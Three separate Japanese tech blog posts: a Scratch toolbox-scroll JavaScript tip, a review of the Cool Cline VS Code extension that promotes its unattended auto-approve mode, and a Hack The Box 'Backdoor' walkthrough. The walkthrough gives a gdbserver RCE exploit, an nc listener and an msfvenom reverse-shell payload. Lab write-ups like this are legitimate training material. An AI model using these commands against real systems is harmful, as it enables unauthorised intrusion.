上手く動作させるには、`blocklyToolboxDiv`というclass名が付与されたdivでmousedownイベントを発生させた後、目的のカテゴリボタンの内部にあるdivで、`mouseup`イベントを発生させてやると正常に動作します。

```javascript:イベントカテゴリまでスクロールするコード
const mousedownEvent=new MouseEvent('mousedown');
const mouseupEvent=new MouseEvent('mouseup');

const hoge=document.getElementsByClassName("blocklyToolboxDiv")[0];
hoge.dispatchEvent(mousedownEvent);
const fuga=hoge.getElementsByClassName("scratchCategoryMenuItem")[3];
fuga.dispatchEvent(mouseupEvent);
```

なお、言うまでもありませんが、6行目の`[3]`を他の数字（0～8）にすると別のカテゴリへ自動スクロールさせることも出来ます。

# おわりに
この情報、誰が使うんでしょうか？
なお、こうした情報を用いて何かを行う場合は以下のページを事前に参照しておくことをオススメします。

https://ja.scratch-wiki.info/wiki/%E3%83%96%E3%83%A9%E3%82%A6%E3%82%B6%E6%8B%A1%E5%BC%B5%E6%A9%9F%E8%83%BD%EF%BC%8F%E3%83%A6%E3%83%BC%E3%82%B6%E3%83%BC%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88%E3%81%AE%E6%96%B9%E9%87%9D

以上。
Cool Clineで完全自動コーディングを試したら新時代を感じた

## これは何?

https://x.com/hAru_mAki_ch/status/1875891324408451465

Cool Clineという話題のVSCode Extensionsを試してみました。

https://marketplace.visualstudio.com/items?itemName=CoolCline.coolcline

---

## Cool Clineとは?

[公式のドキュメント](https://github.com/coolcline/CoolCline/blob/main/docs/integration-guideline.md)が中国語だったのでgptに訳してもらいました。

平たく言うと，既存のClineをもとに使いやすいやつ作ったぜということらしい。

> なぜ Cool Cline を作るのか？
> VSCode 用の Cline 拡張には、複数のフォーク版が存在し、どれが最も機能的か判断しづらい状況です。代表的なものとして以下があります：
>
>    cline/cline
>    RooVetGit/Roo-Cline
>    jnorthrup/Bao-Cline
>
> これらを基に、新しい統合プロジェクト「Cool Cline」を作成し、より多機能で使いやすい形にするのが目的です。

---

## 使い方

1. ExtensionsをVSCodeにインストールします。
    ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3718390/f08b5d54-3a59-e05b-85a5-a97589dc654f.png)
2. ctrl shift pでコマンドパレットを開いて，Cool Cline: Focus on Viewをクリック
    ![Screenshot from 2025-01-07 10-30-35.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3718390/7d5d74bb-6650-117a-2cdb-b6dace575a27.png)
3. APIキーを入れる。自分はぱっと試したかったので手元にあったOpenAIのAPIキーを入れましたが，様々なモデルに対応してそう。
    ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3718390/f7488dd9-8247-568b-7e6c-6109a52004f3.png)
4. taskを入力してみるとAPIを叩いてレスポンスをもとに実行するコマンドを聞いてくるのでOKを出すだけでどんどん進みます。
    ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3718390/566e3439-4ba9-cc50-c18f-87d7421308ca.png)
    ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3718390/3ac21862-33e5-e7b0-4c1d-fb0af183ba12.png)

### Auto approveを試す

権限を与えると承認作業をスキップして勝手にタスクを進めてくれる機能です。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3718390/f7824ba1-3656-1d71-5bfa-1f7ec82ef5ed.png)

一応max requestに制限がかけれるのでつけっぱなしでおでかけとかしても大量課金されることはなさそう。

例えば，「LangChainが動くDockerfileを作ってエラーがでなくなるまでデバックして」
みたいな形でタスクを作ってやればこれまで人間が生成AIに聞いて回答を反映するという以下の流れが完全に自動化できそうです。

cool clineなどを使わない場合

1. 生成AIにコードを作ってもらう
2. コピペして実行
3. エラーが出たのでエラーを生成AIにコピペして貼る
4. コードを変更して実行エラーがでたら3に戻る

cool clineを使う場合

1. タスクを書く
2. Auto Approveをオンにして実行
3. コーヒーを飲んでいる間にタスクが終わっている!

---

## 使っていて発生したエラー

OpenAIのgpt4oを使っていると以下のエラーがでることがありました。

```
429 Request too large for gpt-4o in organization org-rrpil9fcCLQI4vka2V3qU9AF on tokens per min (TPM): Limit 30000, Requested 98894. The input or output tokens must be reduced in order to run successfully. Visit https://platform.openai.com/account/rate-limits to learn more.
```

そのため，長いリクエストを送れることがどのモデルを使うかを選択する際の考慮事項になりそう。

TODO: この辺調べて記載する

また，でかすぎるタスクをAIに渡しても前述したエラーになりそうなので，人間と同じである程度タスクを細分化してからCool Clineに渡してやるのが良さそう。

---

## Cool Cline ベストプラクティスなど

TODO: 調べて記載する

---

## まとめ

- Cool Clineを使ってみて完全に自動でタスクを実行できることがわかった。
- タスクは人間と同じである程度細分化してあげたほうが良さそう
- なるべく長い入力を受け付けられるモデルを使うと良さそう

https://x.com/umiyuki_ai/status/1876435791200866423

この方のツイートみて思ったけどバージョン管理ちゃんとするは今後より大事になりそう
【HackTheBox】Backdoor【Walkthrough】【WriteUp】

# セキュリティについて学び、Hack the Boxを取り組んだ記録

現在Active machineなのに、YouTubeに解説動画が挙がっている（1月13日）。  
とりあえず、私もBackdoorのWalkthroughを書いておこうと思った。  
これも参考にしたらいいよ！

[YouTube解説動画](https://www.youtube.com/watch?v=eAuUIT3I2II)

# 応援お願いします！
もしこの記事が役に立ったり、「おもしろそう！」と思った方は、ぜひ 「いいね」ボタン を押していただけると嬉しいです！みなさんの応援が、次のチャレンジへの大きな励みになります。💪


## ⚠️ ネタバレ注意 ⚠️

### **Step. 1 nmapスキャン**
**<span style="color: #d32f2f">最初にマシーンをリセットすること！</span>**

指定されたIPアドレスをnmapスキャンすると、SSHとHTTPポートが開いていることが確認できる。

```bash
$ nmap -p- 10.10.11.125
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-13 22:25 JST
Nmap scan report for 10.10.11.125
Host is up (0.17s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE  SERVICE
22/tcp   open   ssh
80/tcp   open   http
1337/tcp open   waste
Nmap done: 1 IP address (1 host up) scanned in 1162.83 seconds
```

ポートが確認できたので、`http://10.10.11.125/login.php` で検索すると、ページが表示される。
![20220202234221.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1089860/e3f65b6e-f256-94c4-0462-28a5a04d5fe2.png)


- `http://10.129.188.167/wp-plugins/` に進む  
![20220202234334.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1089860/20cce841-bc67-73c4-db86-aff44ab80a43.png)

- `http://10.129.188.167/wp-plugins/ebook-download` を確認  
![20220202235539.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1089860/41381cae-c2a4-af8d-81c5-3aa11386b840.png)
![20220202234555.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1089860/ba4a0842-ff3d-8657-6979-bcc48ce0bc37.png)

  - **readme.txt** が怪しいので確認するも、「はずれ」。

次に、Gobusterでディレクトリスキャンを試す。
```bash
$ gobuster dir -u http://10.10.11.125 -w /usr/share/dirb/wordlists/common.txt
```
![20220202235539.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1089860/720e2ec3-332d-d037-7f6f-e82d0118653d.png)

WordPressが80番ポートで使用されているため、`admin`などのIDとパスワードを試してログインを試みるが失敗。

---

### **Step. 2 脆弱性の発見**

Gobusterを使用すると、gdbサーバーで動いていることが確認できる。
![20220203000453.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1089860/43a6d6f4-7a89-b387-5d4a-88b9f38a17ef.png)


#### エクスプロイトを使用した攻撃
- 例：[GNU gdbserver 9.2 - Remote Command Execution (RCE)](https://www.exploit-db.com/exploits/50539)
![20220203000637.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1089860/9ce26548-ca7e-6f80-c165-bb205cfd73b6.png)

スクリプトをダウンロードし、`nc`コマンドで待ち受けポートを起動する。

```bash
$ nc -lvnp 4444
```

リバースシェル用のペイロードを`msfvenom`コマンドで作成：
```bash
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=xxxxxxx LPORT=4444 PrependFork=true -o shell.bin
```

`xxxx`は自身のIPアドレス。`ifconfig`コマンドで確認しておくと安心。

---

### **Step. 3 攻撃**

ダウンロードしたスクリプトを使用して権限を奪取する（Python3で実行）。

```
python 50539.py 10.10.11.125:1337 shell.bin
```

4444ポートに戻って確認すると、きちんとユーザーになっている。  
`user.txt`と`root.txt`を`cat`コマンドで取得し、HPに戻って入力すればFlagを立てることができる。



### 参考
1. [Hack The Box 日本語 Walkthrough/Writeup まとめ - Security Index](https://security-index.hatenablog.com/entry/2020/08/30/163229?amp=1#Lame)  
2. [Backdoor HTB WP/Linux Enumeration - YouTube](https://www.youtube.com/watch?v=eAuUIT3I2II)  
3. [GNU gdbserver 9.2 - Remote Command Execution (RCE)](https://www.exploit-db.com/exploits/50539)